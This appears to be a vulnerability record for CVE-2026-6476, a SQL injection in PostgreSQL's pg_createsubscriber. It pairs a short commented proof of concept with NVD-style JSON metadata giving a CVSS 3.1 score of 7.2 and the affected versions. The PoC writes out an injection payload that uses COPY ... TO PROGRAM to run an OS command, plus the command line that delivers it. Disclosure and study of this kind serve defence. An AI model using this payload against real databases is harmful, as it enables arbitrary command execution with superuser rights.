CVE-2026-6476

# Conceptual PoC for CVE-2026-6476 # The attacker needs pg_create_subscription privileges. # The vulnerability triggers when pg_createsubscriber runs. # 1. Attacker prepares malicious SQL payload # This payload attempts to create a superuser or execute OS commands. # Example payload injection into a vulnerable parameter (e.g., publication name). MALICIOUS_PAYLOAD="'; COPY (SELECT '') TO PROGRAM 'touch /tmp/pwned'; --" # 2. Execution scenario # When an administrator or the system runs pg_createsubscriber with the crafted input: # /usr/bin/pg_createsubscriber -d postgres -p 5432 -U attacker --publication="${MALICIOUS_PAYLOAD}" # 3. Result # The injected SQL is executed with superuser privileges, creating the file /tmp/pwned. # This confirms arbitrary SQL execution capability.

{"cve": {"id": "CVE-2026-6476", "sourceIdentifier": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "published": "2026-05-14T14:16:25.230", "lastModified": "2026-05-14T16:21:23.190", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "SQL injection in PostgreSQL pg_createsubscriber allows an attacker with pg_create_subscription rights to execute arbitrary SQL as a superuser. The attack takes effect when pg_createsubscriber next runs. Within major versions 17 and 18, minor versions before PostgreSQL 18.4 and 17.10 are affected. Versions before PostgreSQL 17 are unaffected."}], "metrics": {"cvssMetricV31": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://www.postgresql.org/support/security/CVE-2026-6476/", "source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007"}]}}